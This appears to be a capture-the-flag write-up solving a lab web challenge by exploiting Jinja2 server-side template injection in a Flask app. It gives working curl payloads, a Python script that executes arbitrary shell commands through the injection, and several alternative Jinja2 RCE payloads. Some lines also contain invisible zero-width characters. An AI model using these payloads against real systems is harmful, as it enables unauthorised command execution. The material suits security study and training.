← Back to Writeups
CUSTOMEasyWeb

Странный сервер (Strange Server)

XESXOR9/10/20262 min read
#web#custom#easy#rce-via-url_for.__globals__['_#server-side-template-injection#url-reflection-vulnerability-d#linux

Странный сервер (Strange Server)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: RCE via url_for.globals['builtins']'import'.popen(), Server-Side Template Injection (SSTI) in Jinja2, URL reflection vulnerability detection

Summary

Task: Web application with URL reflection on /same page. Solution: Exploited Jinja2 SSTI vulnerability using url_for.globals to achieve RCE and read the flag.

Странный сервер (Strange Server) — hackerlab.pro

Description

"Мой друг увлекается разработкой и написал сайт, но как мне кажется сайт странно себя ведёт, по-моему где-то была допущена серьёзная ошибка..."

URL: http://192.169.2.100:16031

Analysis

1. Reconnaissance

The main page contains hints about available endpoints:

  • /hello_world
  • /robot.txt
  • /same

2. Vulnerability Discovery

The /same page displays the request URL in the response — this is a classic sign of a potential SSTI vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. SSTI Confirmation

Testing with a classic Jinja2 payload:

bash
curl 'http://192.169.2.100:16031/same/%7B%7B7*7%7D%7D'

The response contains 49 instead of {{7*7}} — confirmation of Server-Side Template Injection in Jinja2.

4. Exploitation

Using the standard payload for RCE via url_for.__globals__:

{{url_for.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag.txt').read()}}

Solution

Step-by-step payloads

bash
# 1. SSTI test
curl 'http://192.169.2.100:16031/same/%7B%7B7*7%7D%7D'
# Result: 49
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. RCE - read flag
curl 'http://192.169.2.100:16031/same/%7B%7Burl_for.__globals__%5B%27__builtins__%27%5D%5B%27__import__%27%5D(%27os%27).popen(%27cat%20/app/flag.txt%27).read()%7D%7D'

URL-encoded payload

%7B%7Burl_for.__globals__%5B%27__builtins__%27%5D%5B%27__import__%27%5D(%27os%27).popen(%27cat%20/app/flag.txt%27).read()%7D%7D

Decoded:

{{url_for.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag.txt').read()}}

Python script

python
#!/usr/bin/env python3
import requests
from urllib.parse import quote
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "http://192.169.2.100:16031"

def ssti_exec(cmd):
    """Execute command via SSTI"""
    payload = f"{{{{url_for.__globals__['__builtins__']['__import__']('os').popen('{cmd}').read()}}}}"
    url = f"{BASE_URL}/same/{quote(payload)}"
    resp = requests.get(url)
    return resp.text

# Test SSTI
print(ssti_exec("id"))

# Get flag
print(ssti_exec("cat /app/flag.txt"))

Alternative SSTI payloads for Jinja2

python
# Via lipsum
{{lipsum.__globals__["os"].popen("id").read()}}

# Via config
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Via request
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}

# MRO chain
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}

Payload Explanation

  1. url_for — built-in Flask function available in templates
  2. .__globals__ — dictionary of module's global variables
  3. ['__builtins__'] — access to Python built-in functions
  4. ['__import__']('os') — import the os module
  5. .popen('cmd') — execute shell command
  6. .read() — read the result ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References